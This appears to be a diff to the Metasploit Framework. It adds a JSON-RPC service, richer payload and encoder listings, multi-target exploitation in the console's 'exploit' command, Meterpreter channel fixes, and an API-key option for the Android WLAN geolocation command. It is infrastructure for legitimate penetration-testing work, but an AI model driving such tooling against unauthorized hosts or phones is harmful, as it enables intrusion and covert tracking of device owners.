# @param execute_timeout [Integer] execute timeout duration in seconds
def initialize(framework, execute_timeout: 7200)
@framework = framework
@execute_timeout = execute_timeout
@methods = {}
end
# Add a method to the RPC Command
# @param method [Method] the Method
# @param name [String] the name the method is register under. The method name is used if nil.
# @returns [Method] the Method.
def register_method(method, name: nil)
if name.nil?
if method.is_a?(Method)
name = method.name.to_s
else
name = method.to_s
end
end
@methods[name] = method
end
# Invokes the method on the receiver object with the specified params,
# returning the method's return value.
# @param method [String] the RPC method name
# @param params [Array, Hash] parameters for the RPC call
# @raise [MethodNotFound] The method does not exist
# @raise [Timeout::Error] The method failed to terminate in @execute_timeout seconds
# @returns [Object] the method's return value.
def execute(method, params)
unless @methods.key?(method)
raise MethodNotFound.new(method)
end
::Timeout.timeout(@execute_timeout) do
if params.nil?
return @methods[method].call()
elsif params.is_a?(Array)
return @methods[method].call(*params)
else
return @methods[method].call(**params)
end
end
end
end
end

View File

@ -0,0 +1,43 @@
require 'msf/core/rpc'
require 'msf/core/rpc/json/v1_0/rpc_command'
require 'msf/core/rpc/json/v2_0/rpc_test'
module Msf::RPC::JSON
class RpcCommandFactory
# Create an RpcCommand for the provided version.
# @param version [Symbol] the RPC version
# @param framework [Msf::Simple::Framework] Framework wrapper instance
# @raise [ArgumentError] invalid RPC version
# @returns [RpcCommand] an RpcCommand for the specified version
def self.create(version, framework)
case version
when :v1, :v1_0, :v10
return Msf::RPC::JSON::V1_0::RpcCommand.new(framework)
when :v2, :v2_0
return RpcCommandFactory.create_rpc_command_v2_0(framework)
else
raise ArgumentError.new("invalid RPC version #{version}")
end
end
# Creates an RpcCommand for a demonstration RPC version 2.0.
# @param framework [Msf::Simple::Framework] Framework wrapper instance
# @returns [RpcCommand] an RpcCommand for a demonstration RPC version 2.0
def self.create_rpc_command_v2_0(framework)
# TODO: does belong in some sort of loader class for an RPC version?
# instantiate receiver
rpc_test = Msf::RPC::JSON::V2_0::RpcTest.new()
command = Msf::RPC::JSON::RpcCommand.new(framework)
# Add class methods
command.register_method(Msf::RPC::JSON::V2_0::RpcTest.method(:add))
command.register_method(Msf::RPC::JSON::V2_0::RpcTest.method(:add), name: 'add_alias')
# Add instance methods
command.register_method(rpc_test.method(:get_instance_rand_num))
command.register_method(rpc_test.method(:add_instance_rand_num))
command
end
end
end

View File

@ -0,0 +1,152 @@
require 'base64'
require 'msf/core/rpc'
module Msf::RPC::JSON
module V1_0
class RpcCommand < ::Msf::RPC::JSON::RpcCommand
METHOD_GROUP_SEPARATOR = '.'
MODULE_EXECUTE_KEY = 'module.execute'
PAYLOAD_MODULE_TYPE_KEY = 'payload'
PAYLOAD_KEY = 'payload'
# Instantiate an RpcCommand.
# @param framework [Msf::Simple::Framework] Framework wrapper instance
# @param execute_timeout [Integer] execute timeout duration in seconds
def initialize(framework, execute_timeout: 7200)
super(framework, execute_timeout: execute_timeout)
# The legacy Msf::RPC::Service will not be started, however, it will be used to proxy
# requests to existing handlers. This frees the command from having to act as the
# service to RPC_Base subclasses and expose accessors for tokens and users.
@legacy_rpc_service = ::Msf::RPC::Service.new(@framework, {
execute_timeout: @execute_timeout
})
end
# @raise [RuntimeError] The method is not implemented
def register_method(method, name: nil)
raise "#{self.class.name}##{__method__} is not implemented"
end
# Invokes the method on the receiver object with the specified params,
# returning the method's return value.
# @param method [String] the RPC method name
# @param params [Array, Hash] parameters for the RPC call
# @returns [Object] the method's return value.
def execute(method, params)
result = execute_internal(method, params)
result = post_process_result(result, method, params)
result
end
private
# Internal method that invokes the method on the receiver object with
# the specified params, returning the method's return value.
# @param method [String] the RPC method name
# @param params [Array, Hash] parameters for the RPC call
# @raise [MethodNotFound] The method does not exist
# @raise [Timeout::Error] The method failed to terminate in @execute_timeout seconds
# @returns [Object] the method's return value.
def execute_internal(method, params)
group, base_method = parse_method_group(method)
method_name = "rpc_#{base_method}"
method_name_noauth = "rpc_#{base_method}_noauth"
handler = (find_handler(@legacy_rpc_service.handlers, group, method_name) || find_handler(@legacy_rpc_service.handlers, group, method_name_noauth))
if handler.nil?
raise MethodNotFound.new(method)
end
if handler.respond_to?(method_name_noauth)
method_name = method_name_noauth
end
::Timeout.timeout(@execute_timeout) do
params = prepare_params(params)
if params.nil?
return handler.send(method_name)
elsif params.is_a?(Array)
return handler.send(method_name, *params)
else
return handler.send(method_name, **params)
end
end
end
# Parse method string in the format "group.base_method_name".
# @param method [String] the RPC method name
# @returns [Array] Tuple of strings, group and base_method
def parse_method_group(method)
idx = method.rindex(METHOD_GROUP_SEPARATOR)
if idx.nil?
group = nil
base_method = method
else
group = method[0..idx - 1]
base_method = method[idx + 1..-1]
end
return group, base_method
end
# Find the concrete Msf::RPC::RPC_Base handler for the group and method name.
# @param handlers [Hash] hash of group String - Msf::RPC::RPC_Base object pairs
# @param group [String] the RPC group
# @param method_name [String] the RPC method name
# @returns [Msf::RPC::RPC_Base] concrete Msf::RPC::RPC_Base instance if one exists; otherwise, nil.
def find_handler(handlers, group, method_name)
handler = nil
if !handlers[group].nil? && handlers[group].respond_to?(method_name)
handler = handlers[group]
end
handler
end
# Prepare params for use by RPC methods by converting all hashes
# inside of Arrays to use strings for their names (keys).
# @param params [Object] parameters for the RPC call
# @returns [Object] If params is an Array all hashes it contains will be
# modified; otherwise, the object will simply pass-through.
def prepare_params(params)
clean_params = params
if params.is_a?(Array)
clean_params = params.map do |p|
if p.is_a?(Hash)
stringify_names(p)
else
p
end
end
end
clean_params
end
# Stringify the names (keys) in hash.
# @param hash [Hash] input hash
# @returns [Hash] a new hash with strings for the keys.
def stringify_names(hash)
JSON.parse(JSON.dump(hash), symbolize_names: false)
end
# Perform custom post processing of the execute result data.
# @param result [Object] the method's return value
# @param method [String] the RPC method name
# @param params [Array, Hash] parameters for the RPC call
# @returns [Object] processed method's return value
def post_process_result(result, method, params)
# post-process payload module result for JSON output
if method == MODULE_EXECUTE_KEY && params.size >= 2 &&
params[0] == PAYLOAD_MODULE_TYPE_KEY && result.key?(PAYLOAD_KEY)
result[PAYLOAD_KEY] = Base64.strict_encode64(result[PAYLOAD_KEY])
end
result
end
end
end
end

View File

@ -0,0 +1,24 @@
module Msf::RPC::JSON::V2_0
# Receiver class for demonstration RPC version 2.0.
class RpcTest
def initialize
r = Random.new
@rand_num = r.rand(0..100)
end
def self.add(x, y)
x + y
end
def get_instance_rand_num
@rand_num
end
def add_instance_rand_num(x)
@rand_num = @rand_num + x
@rand_num
end
end
end

View File

@ -1,5 +1,6 @@
# -*- coding: binary -*-
require 'json'
require 'msf/util/document_generator'
module Msf
@ -39,38 +40,144 @@ class RPC_Module < RPC_Base
end
# Returns a list of payload module names. The 'payload/' prefix will not be included.
# Returns a list of payload module names or a hash with payload module names as keys to hashes
# that contain the module information fields requested. The 'payload/' prefix will not be included.
#
# @return [Hash] A list of payload module names. It contains the following key:
# * 'modules' [Array<string>] Payload module names, for example: ['windows/x64/shell_reverse_tcp']
# @param module_info [String] Comma-separated list of module information field names.
# If this is nil, then only module names are returned. Default: nil
# @param arch [String] Comma-separated list of one or more architectures that
# the module must support. The module need only support one of the architectures
# to be included, not all architectures. Default: nil
#
# @return [Hash] If module_info is nil, a list of payload module names. It contains the following key:
# * 'modules' [Array<String>] Payload module names, for example: ['windows/x64/shell_reverse_tcp']
# If module_info is not nil, payload module names as keys to hashes that contain the requested module
# information fields. It contains the following key:
# * 'modules' [Hash] for example:
# {"windows/x64/shell_reverse_tcp"=>{"name"=>"Windows x64 Command Shell, Reverse TCP Inline"}
# @example Here's how you would use this from the client:
# rpc.call('module.payloads')
def rpc_payloads
{ "modules" => self.framework.payloads.keys }
def rpc_payloads(module_info = nil, arch = nil)
module_info_contains_size = false
unless module_info.nil?
module_info = module_info.strip.split(',').map(&:strip)
module_info.map!(&:to_sym)
module_info_contains_size = module_info.include?(:size)
end
unless arch.nil?
arch = arch.strip.split(',').map(&:strip)
end
data = module_info.nil? ? [] : {}
arch_filter = !arch.nil? && !arch.empty? ? arch : nil
self.framework.payloads.each_module('Arch' => arch_filter) do |name, mod|
if module_info.nil?
data << name
else
module_instance = mod.new
if !module_info_contains_size && mod.method_defined?(:generate)
# Unless the size field is specified in module_info, modify the generate
# method for the module instance in order to skip payload generation when
# the size method is called by Msf::Serializer::Json.dump_module, thus
# reducing the processing time.
class << module_instance
def generate
''
end
end
end
tmp_mod_info = ::JSON.parse(Msf::Serializer::Json.dump_module(module_instance), symbolize_names: true)
data[name] = tmp_mod_info.select { |k,v| module_info.include?(k) }
end
end
{ "modules" => data }
end
# Returns a list of encoder module names. The 'encoder/' prefix will not be included.
# Returns a list of encoder module names or a hash with encoder module names as keys to hashes
# that contain the module information fields requested. The 'encoder/' prefix will not be included.
#
# @return [Hash] A list of encoder module names. It contains the following key:
# * 'modules' [Array<string>] Encoder module names, for example: ['x86/unicode_upper']
# @param module_info [String] Comma-separated list of module information field names.
# If this is nil, then only module names are returned. Default: nil
# @param arch [String] Comma-separated list of one or more architectures that
# the module must support. The module need only support one of the architectures
# to be included, not all architectures. Default: nil
#
# @return [Hash] If module_info is nil, a list of encoder module names. It contains the following key:
# * 'modules' [Array<String>] Encoder module names, for example: ['x86/unicode_upper']
# If module_info is not nil, encoder module names as keys to hashes that contain the requested module
# information fields. It contains the following key:
# * 'modules' [Hash] for example:
# {"x86/unicode_upper"=>{"name"=>"Alpha2 Alphanumeric Unicode Uppercase Encoder", "rank"=>"Manual"}}
# @example Here's how you would use this from the client:
# rpc.call('module.encoders')
def rpc_encoders
{ "modules" => self.framework.encoders.keys }
def rpc_encoders(module_info = nil, arch = nil)
unless module_info.nil?
module_info = module_info.strip.split(',').map(&:strip)
module_info.map!(&:to_sym)
end
unless arch.nil?
arch = arch.strip.split(',').map(&:strip)
end
data = module_info.nil? ? [] : {}
arch_filter = !arch.nil? && !arch.empty? ? arch : nil
self.framework.encoders.each_module('Arch' => arch_filter) do |name, mod|
if module_info.nil?
data << name
else
tmp_mod_info = ::JSON.parse(Msf::Serializer::Json.dump_module(mod.new), symbolize_names: true)
data[name] = tmp_mod_info.select { |k,v| module_info.include?(k) }
end
end
{ "modules" => data }
end
# Returns a list of NOP module names. The 'nop/' prefix will not be included.
# Returns a list of NOP module names or a hash with NOP module names as keys to hashes
# that contain the module information fields requested. The 'nop/' prefix will not be included.
#
# @return [Hash] A list of NOP module names. It contains the following key:
# * 'modules' [Array<string>] NOP module names, for example: ['x86/single_byte']
# @param module_info [String] Comma-separated list of module information field names.
# If this is nil, then only module names are returned. Default: nil
# @param arch [String] Comma-separated list of one or more architectures that
# the module must support. The module need only support one of the architectures
# to be included, not all architectures. Default: nil
#
# @return [Hash] If module_info is nil, a list of NOP module names. It contains the following key:
# * 'modules' [Array<String>] NOP module names, for example: ['x86/single_byte']
# If module_info is not nil, NOP module names as keys to hashes that contain the requested module
# information fields. It contains the following key:
# * 'modules' [Hash] for example:
# {"x86/single_byte"=>{"name"=>"Single Byte", "rank"=>"Normal"}}
# @example Here's how you would use this from the client:
# rpc.call('module.nops')
def rpc_nops
{ "modules" => self.framework.nops.keys }
end
def rpc_nops(module_info = nil, arch = nil)
unless module_info.nil?
module_info = module_info.strip.split(',').map(&:strip)
module_info.map!(&:to_sym)
end
unless arch.nil?
arch = arch.strip.split(',').map(&:strip)
end
data = module_info.nil? ? [] : {}
arch_filter = !arch.nil? && !arch.empty? ? arch : nil
self.framework.nops.each_module('Arch' => arch_filter) do |name, mod|
if module_info.nil?
data << name
else
tmp_mod_info = ::JSON.parse(Msf::Serializer::Json.dump_module(mod.new), symbolize_names: true)
data[name] = tmp_mod_info.select { |k,v| module_info.include?(k) }
end
end
{ "modules" => data }
end
# Returns a list of post module names. The 'post/' prefix will not be included.
#
@ -376,10 +483,57 @@ class RPC_Module < RPC_Base
end
# Returns a list of executable format names.
#
# @return [Array<String>] A list of executable format names, for example: ["exe"]
# @example Here's how you would use this from the client:
# rpc.call('module.executable_formats')
def rpc_executable_formats
::Msf::Util::EXE.to_executable_fmt_formats
end
# Returns a list of transform format names.
#
# @return [Array<String>] A list of transform format names, for example: ["powershell"]
# @example Here's how you would use this from the client:
# rpc.call('module.transform_formats')
def rpc_transform_formats
::Msf::Simple::Buffer.transform_formats
end
# Returns a list of encryption format names.
#
# @return [Array<String>] A list of encryption format names, for example: ["aes256"]
# @example Here's how you would use this from the client:
# rpc.call('module.encryption_formats')
def rpc_encryption_formats
::Msf::Simple::Buffer.encryption_formats
end
# Returns a list of platform names.
#
# @return [Array<String>] A list of platform names, for example: ["linux"]
# @example Here's how you would use this from the client:
# rpc.call('module.platforms')
def rpc_platforms
supported_platforms = []
Msf::Module::Platform.subclasses.each { |c| supported_platforms << c.realname.downcase }
supported_platforms.sort
end
# Returns a list of architecture names.
#
# @return [Array<String>] A list of architecture names, for example: ["x64"]
# @example Here's how you would use this from the client:
# rpc.call('module.architectures')
def rpc_architectures
supported_archs = ARCH_ALL.dup
supported_archs.sort
end
# Returns a list of encoding formats.
#
# @return [Array<String>] Encoding foramts.
# @return [Array<String>] Encoding formats.
# @example Here's how you would use this from the client:
# rpc.call('module.encode_formats')
def rpc_encode_formats

View File

@ -0,0 +1,67 @@
require 'sinatra/base'
require 'swagger/blocks'
require 'sysrandom/securerandom'
require 'warden'
require 'msf/core/rpc'
require 'msf/core/db_manager/http/authentication'
require 'msf/core/db_manager/http/servlet_helper'
require 'msf/core/db_manager/http/servlet/auth_servlet'
require 'msf/core/web_services/servlet/json_rpc_servlet'
class JsonRpcApp < Sinatra::Base
helpers ServletHelper
helpers Msf::RPC::JSON::DispatcherHelper
# Servlet registration
register AuthServlet
register JsonRpcServlet
set :framework, Msf::Simple::Framework.create({})
set :dispatchers, {}
configure do
set :sessions, {key: 'msf-ws.session', expire_after: 300}
set :session_secret, ENV.fetch('MSF_WS_SESSION_SECRET') { SecureRandom.hex(16) }
end
before do
# store DBManager in request environment so that it is available to Warden
request.env['msf.db_manager'] = get_db
# store flag indicating whether authentication is initialized in the request environment
@@auth_initialized ||= get_db.users({}).count > 0
request.env['msf.auth_initialized'] = @@auth_initialized
end
use Warden::Manager do |config|
# failed authentication is handled by this application
config.failure_app = self
# don't intercept 401 responses since the app will provide custom failure messages
config.intercept_401 = false
config.default_scope = :api
config.scope_defaults :user,
# whether to persist the result in the session or not
store: true,
# list of strategies to use
strategies: [:password],
# action (route) of the failure application
action: "#{AuthServlet.api_unauthenticated_path}/user"
config.scope_defaults :api,
# whether to persist the result in the session or not
store: false,
# list of strategies to use
strategies: [:api_token],
# action (route) of the failure application
action: AuthServlet.api_unauthenticated_path
config.scope_defaults :admin_api,
# whether to persist the result in the session or not
store: false,
# list of strategies to use
strategies: [:admin_api_token],
# action (route) of the failure application
action: AuthServlet.api_unauthenticated_path
end
end

View File

@ -0,0 +1,34 @@
require 'msf/core/rpc'
module JsonRpcServlet
def self.api_path
'/api/:version/json-rpc'
end
def self.registered(app)
app.post JsonRpcServlet.api_path, &post_rpc
end
#######
private
#######
# Process JSON-RPC request
def self.post_rpc
lambda {
warden.authenticate!
begin
body = request.body.read
tmp_params = sanitize_params(params)
data = get_dispatcher(settings.dispatchers, tmp_params[:version].to_sym, settings.framework).process(body)
set_raw_response(data)
rescue => e
print_error("There was an error executing the RPC: #{e.message}.", e)
error = Msf::RPC::JSON::Dispatcher.create_error_response(Msf::RPC::JSON::InternalError.new(e))
data = Msf::RPC::JSON::Dispatcher.to_json(error)
set_raw_response(data, code: 500)
end
}
end
end

View File

@ -824,7 +824,7 @@ class Core
print_line " print - show all active routes"
print_line
print_line "Examples:"
print_line " Add a route for all hosts from 192.168.0.0 to 192.168.0.0 through session 1"
print_line " Add a route for all hosts from 192.168.0.0 to 192.168.0.255 through session 1"
print_line " route add 192.168.0.0 255.255.255.0 1"
print_line " route add 192.168.0.0/24 1"
print_line

View File

@ -5,8 +5,9 @@ class Msf::Ui::Console::CommandDispatcher::Developer
include Msf::Ui::Console::CommandDispatcher
@@irb_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-e" => [ true, "Expression to evaluate." ])
'-h' => [false, 'Help menu.' ],
'-e' => [true, 'Expression to evaluate.']
)
def initialize(driver)
super
@ -18,48 +19,77 @@ class Msf::Ui::Console::CommandDispatcher::Developer
def commands
{
'irb' => 'Drop into irb scripting mode',
'pry' => 'Open a Pry session on the current module or Framework',
'irb' => 'Open an interactive Ruby shell in the current context',
'pry' => 'Open the Pry debugger on the current module or Framework',
'edit' => 'Edit the current module or a file with the preferred editor',
'reload_lib' => 'Reload one or more library files from specified paths',
'log' => 'Displays framework.log starting at the bottom if possible'
'reload_lib' => 'Reload Ruby library files from specified paths',
'log' => 'Display framework.log paged to the end if possible'
}
end
def local_editor
framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR')
framework.datastore['LocalEditor'] ||
Rex::Compat.getenv('VISUAL') ||
Rex::Compat.getenv('EDITOR') ||
Msf::Util::Helper.which('vim') ||
Msf::Util::Helper.which('vi')
end
def local_pager
framework.datastore['LocalPager'] || Rex::Compat.getenv('PAGER') || Rex::Compat.getenv('MANPAGER')
framework.datastore['LocalPager'] ||
Rex::Compat.getenv('PAGER') ||
Rex::Compat.getenv('MANPAGER') ||
Msf::Util::Helper.which('less') ||
Msf::Util::Helper.which('more')
end
# XXX: This will try to reload *any* .rb and break on modules
def reload_file(path)
unless File.exist?(path) && path.end_with?('.rb')
print_error("#{path} must exist and be a .rb file")
def reload_file(path, print_errors: true)
full_path = File.expand_path(path)
unless File.exist?(full_path) && full_path.end_with?('.rb')
print_error("#{full_path} must exist and be a .rb file") if print_errors
return
end
# The file must exist to reach this, so we try our best here
if path =~ %r{^(?:\./)?modules/}
print_error("Reloading Metasploit modules is not supported (try 'reload')")
if full_path.start_with?(Msf::Config.module_directory, Msf::Config.user_module_directory)
print_error('Reloading Metasploit modules is not supported (try "reload")') if print_errors
return
end
print_status("Reloading #{path}")
load path
print_status("Reloading #{full_path}")
load full_path
end
def reload_changed_files
# Using an array avoids shelling out, so we avoid escaping/quoting
changed_files = %w[git diff --name-only]
output, status = Open3.capture2e(*changed_files, chdir: Msf::Config.install_root)
unless status.success?
print_error("Git is not available: #{output.chomp}")
return
end
files = output.split("\n")
files.each do |file|
f = File.join(Msf::Config.install_root, file)
reload_file(file, print_errors: false)
end
end
def cmd_irb_help
print_line "Usage: irb"
print_line 'Usage: irb'
print_line
print_line "Execute commands in a Ruby environment"
print_line 'Open an interactive Ruby shell in the current context.'
print @@irb_opts.usage
end
#
# Goes into IRB scripting mode
# Open an interactive Ruby shell in the current context
#
def cmd_irb(*args)
expressions = []
@ -76,10 +106,16 @@ class Msf::Ui::Console::CommandDispatcher::Developer
end
if expressions.empty?
print_status("Starting IRB shell...\n")
print_status('Starting IRB shell...')
begin
Rex::Ui::Text::IrbShell.new(binding).run
if active_module
print_status("You are in #{active_module.fullname}\n")
Rex::Ui::Text::IrbShell.new(active_module).run
else
print_status("You are in the \"framework\" object\n")
Rex::Ui::Text::IrbShell.new(framework).run
end
rescue
print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}")
end
@ -89,6 +125,11 @@ class Msf::Ui::Console::CommandDispatcher::Developer
driver.input.reset_tab_completion
end
else
# XXX: No vprint_status here either
if framework.datastore['VERBOSE'].to_s == 'true'
print_status("You are executing expressions in #{binding.receiver}")
end
expressions.each { |expression| eval(expression, binding) }
end
end
@ -104,12 +145,12 @@ class Msf::Ui::Console::CommandDispatcher::Developer
def cmd_pry_help
print_line 'Usage: pry'
print_line
print_line 'Open a Pry session on the current module or Framework.'
print_line 'Open the Pry debugger on the current module or Framework.'
print_line
end
#
# Open a Pry session on the current module or Framework
# Open the Pry debugger on the current module or Framework
#
def cmd_pry(*args)
if args.include?('-h')
@ -141,7 +182,7 @@ class Msf::Ui::Console::CommandDispatcher::Developer
print_line
print_line "Edit the currently active module or a local file with #{local_editor}."
print_line 'If a library file is specified, it will automatically be reloaded after editing.'
print_line "Otherwise, you can reload the active module with 'reload' or 'rerun'."
print_line 'Otherwise, you can reload the active module with "reload" or "rerun".'
print_line
end
@ -166,7 +207,8 @@ class Msf::Ui::Console::CommandDispatcher::Developer
editor = local_editor
unless editor
editor = 'vim'
# ed(1) is the standard editor
editor = 'ed'
print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.")
end
@ -192,22 +234,35 @@ class Msf::Ui::Console::CommandDispatcher::Developer
end
def cmd_reload_lib_help
print_line 'Usage: reload_lib lib/to/reload.rb [...]'
print_line
print_line 'Reload one or more library files from specified paths.'
print_line
cmd_reload_lib('-h')
end
#
# Reload one or more library files from specified paths
# Reload Ruby library files from specified paths
#
def cmd_reload_lib(*args)
if args.empty? || args.include?('-h') || args.include?('--help')
cmd_reload_lib_help
return
options = OptionParser.new do |opts|
opts.banner = 'Usage: reload_lib lib/to/reload.rb [...]'
opts.separator ''
opts.separator 'Reload Ruby library files from specified paths.'
opts.separator ''
opts.on '-h', '--help', 'Help banner.' do
return print(opts.help)
end
opts.on '-a', '--all', 'Reload all* changed files in your current Git working tree.
*Excludes modules and non-Ruby files.' do
return reload_changed_files
end
end
args.each { |path| reload_file(path) }
# The remaining unparsed arguments are files
files = options.order(args)
return print(options.help) if files.empty?
files.each { |file| reload_file(file) }
end
#
@ -220,15 +275,15 @@ class Msf::Ui::Console::CommandDispatcher::Developer
def cmd_log_help
print_line 'Usage: log'
print_line
print_line 'Displays framework.log starting at the bottom if possible.'
print_line "For full effect, 'setg LogLevel 3' before running modules."
print_line 'Display framework.log paged to the end if possible.'
print_line 'For full effect, "setg LogLevel 3" before running modules.'
print_line
print_line "Log location: #{File.join(Msf::Config.log_directory, 'framework.log')}"
print_line
end
#
# Displays framework.log starting at the bottom if possible
# Display framework.log paged to the end if possible
#
def cmd_log(*args)
path = File.join(Msf::Config.log_directory, 'framework.log')
@ -237,7 +292,7 @@ class Msf::Ui::Console::CommandDispatcher::Developer
pager = local_pager.to_s.include?('less') ? "#{local_pager} +G" : local_pager
unless pager
pager = 'tail -n 24'
pager = 'tail -n 50'
print_warning("LocalPager or $PAGER/$MANPAGER should be set. Falling back on #{pager}.")
end

View File

@ -47,6 +47,9 @@ class Exploit
"Exploit"
end
#
# Launches an exploitation single attempt.
#
def exploit_single(mod, opts)
begin
session = mod.exploit_simple(opts)
@ -63,41 +66,7 @@ class Exploit
end
end
# If we were given a session, let's see what we can do with it
if session
if !opts['Background'] && session.interactive?
# If we aren't told to run in the background and the session can be
# interacted with, start interacting with it by issuing the session
# interaction command.
print_line
driver.run_single("sessions -q -i #{session.sid}")
# Otherwise, log that we created a session
else
# Otherwise, log that we created a session
print_status("Session #{session.sid} created in the background.")
end
elsif opts['RunAsJob'] && mod.job_id
# Indicate if he exploit as a job, indicate such so the user doesn't
# wonder what's up.
print_status("Exploit running as background job #{mod.job_id}.")
# Worst case, the exploit ran but we got no session, bummer.
else
# If we didn't run a payload handler for this exploit it doesn't
# make sense to complain to the user that we didn't get a session
unless mod.datastore["DisablePayloadHandler"]
fail_msg = 'Exploit completed, but no session was created.'
print_status(fail_msg)
begin
framework.events.on_session_fail(fail_msg)
rescue ::Exception => e
wlog("Exception in on_session_open event handler: #{e.class}: #{e}")
wlog("Call Stack\n#{e.backtrace.join("\n")}")
end
end
end
return session
end
def cmd_exploit_tabs(str, words)
@ -117,11 +86,12 @@ class Exploit
end
#
# Launches an exploitation attempt.
# Launches exploitation attempts.
#
def cmd_exploit(*args)
force = false
module_opts = []
any_session = false
opts = {
'Encoder' => mod.datastore['ENCODER'],
'Payload' => mod.datastore['PAYLOAD'],
@ -195,14 +165,75 @@ class Exploit
end
rhosts = mod.datastore['RHOSTS']
if rhosts
Rex::Socket::RangeWalker.new(rhosts).each do |rhost|
rhosts_range = Rex::Socket::RangeWalker.new(rhosts)
# For multiple targets exploit attempts.
if rhosts && rhosts_range.length.to_i > 1
opts[:multi] = true
rhosts_range.each do |rhost|
nmod = mod.replicant
nmod.datastore['RHOST'] = rhost
exploit_single(nmod, opts)
# If rhost is the last target, let exploit handler stop.
opts["multi"] = false if rhost == (Rex::Socket.addr_itoa(rhosts_range.ranges.first.stop))
# Catch the interrupt exception to stop the whole module during exploit
begin
print_status("Exploiting target #{rhost}")
session = exploit_single(nmod, opts)
rescue ::Interrupt
print_status("Stopping exploiting current target #{rhost}...")
print_status("Control-C again to force quit exploiting all targets.")
begin
Rex.sleep(1)
rescue ::Interrupt
raise $!
end
end
# If we were given a session, report it.
if session
print_status("Session #{session.sid} created in the background.")
any_session = true
end
end
# For single target or no rhosts option.
else
exploit_single(mod, opts)
session = exploit_single(mod, opts)
# If we were given a session, let's see what we can do with it
if session
any_session = true
if !opts['Background'] && session.interactive?
# If we aren't told to run in the background and the session can be
# interacted with, start interacting with it by issuing the session
# interaction command.
print_line
driver.run_single("sessions -q -i #{session.sid}")
# Otherwise, log that we created a session
else
# Otherwise, log that we created a session
print_status("Session #{session.sid} created in the background.")
end
elsif opts['RunAsJob'] && mod.job_id
# Indicate if he exploit as a job, indicate such so the user doesn't
# wonder what's up.
print_status("Exploit running as background job #{mod.job_id}.")
# Worst case, the exploit ran but we got no session, bummer.
end
end
# If we didn't get any session and exploit ended luanch.
unless any_session
# If we didn't run a payload handler for this exploit it doesn't
# make sense to complain to the user that we didn't get a session
unless mod.datastore["DisablePayloadHandler"]
fail_msg = 'Exploit completed, but no session was created.'
print_status(fail_msg)
begin
framework.events.on_session_fail(fail_msg)
rescue ::Exception => e
wlog("Exception in on_session_open event handler: #{e.class}: #{e}")
wlog("Call Stack\n#{e.backtrace.join("\n")}")
end
end
end
end

View File

@ -63,6 +63,9 @@ module Msf
mod_rank: mod.rank,
mod_platforms: mod.send(:module_info)['Platform'],
mod_options: mod.options,
mod_side_effects: mod.side_effects,
mod_reliability: mod.reliability,
mod_stability: mod.stability,
mod_demo: mod
}

View File

@ -257,6 +257,32 @@ module Msf
end
# Returns the markdown format for module side effects.
#
# @param side_effects [Array<String>] Module effects.
# @return [String]
def normalize_side_effects(side_effects)
md_side_effects = side_effects.collect { |s| "* #{s}\n" }.join
md_side_effects.empty? ? 'N/A' : md_side_effects
end
# Returns the markdown format for module reliability.
#
# @param reliability [Array<String>] Module reliability.
# @return [String]
def normalize_reliability(reliability)
md_reliability = reliability.collect { |r| "* #{r}\n" }.join
md_reliability.empty? ? 'N/A' : md_reliability
end
def normalize_stability(stability)
md_stability = stability.collect { |s| "* #{s}\n" }.join
md_stability.empty? ? 'N/A' : md_stability
end
# Returns a parsed demo ERB template.
#
# @param mod [Msf::Module] Metasploit module.

View File

@ -140,6 +140,7 @@ class Channel
self.cid = cid
self.type = type
self.flags = flags
@mutex = Mutex.new
# Add this instance to the list
if (cid and client)
@ -150,8 +151,12 @@ class Channel
ObjectSpace.define_finalizer(self, self.class.finalize(client, cid))
end
def self.finalize(client,cid)
proc { self._close(client,cid) }
def self.finalize(client, cid)
proc {
unless cid.nil?
self._close(client, cid)
end
}
end
##
@ -301,11 +306,14 @@ class Channel
end
def _close(addends = nil)
unless self.cid.nil?
ObjectSpace.undefine_finalizer(self)
self.class._close(self.client, self.cid, addends)
self.cid = nil
end
# let the finalizer do the work behind the scenes
@mutex.synchronize {
unless self.cid.nil?
ObjectSpace.undefine_finalizer(self)
self.class._close(self.client, self.cid, addends)
self.cid = nil
end
}
end
#
# Enables or disables interactive mode.
@ -370,7 +378,11 @@ class Channel
# Stub close handler.
#
def dio_close_handler(packet)
client.remove_channel(self.cid)
@mutex.synchronize {
cid = self.cid
self.cid = nil
}
client.remove_channel(cid)
# Trap IOErrors as parts of the channel may have already been closed
begin
@ -378,9 +390,6 @@ class Channel
rescue IOError
end
# No more channel action, foo.
self.cid = nil
return true
end

View File

@ -98,6 +98,8 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream
# 2 -> both
#
def shutdown(how = 1)
return false if self.cid.nil?
request = Packet.create_request('stdapi_net_socket_tcp_shutdown')
request.add_tlv(TLV_TYPE_SHUTDOWN_HOW, how)

View File

@ -385,7 +385,6 @@ class Console::CommandDispatcher::Android
end
def cmd_geolocate(*args)
generate_map = false
geolocate_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
@ -423,10 +422,8 @@ class Console::CommandDispatcher::Android
def cmd_dump_calllog(*args)
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_calllog_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ true, 'Output path for call log']
)
dump_calllog_opts.parse(args) do |opt, _idx, val|
@ -565,19 +562,30 @@ class Console::CommandDispatcher::Android
def cmd_wlan_geolocate(*args)
wlan_geolocate_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
'-h' => [ false, 'Help Banner' ],
'-a' => [ true, 'API key' ],
)
wlan_geolocate_opts.parse(args) do |opt, _idx, _val|
api_key = ''
wlan_geolocate_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: wlan_geolocate')
print_line('Tries to get device geolocation from WLAN information and Google\'s API')
print_line(wlan_geolocate_opts.usage)
return
when '-a'
api_key = val
end
end
if api_key.blank?
print_error("You must enter an api_key")
print_error("e.g. wlan_geolocate -a YOUR_API_KEY")
print_line(wlan_geolocate_opts.usage)
return
end
log = client.android.wlan_geolocate
wlan_list = []
log.each do |x|
@ -592,9 +600,10 @@ class Console::CommandDispatcher::Android
return
end
g = Rex::Google::Geolocation.new
g.set_api_key(api_key)
wlan_list.each do |wlan|
g.add_wlan(*wlan)
g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength
end
begin
g.fetch!
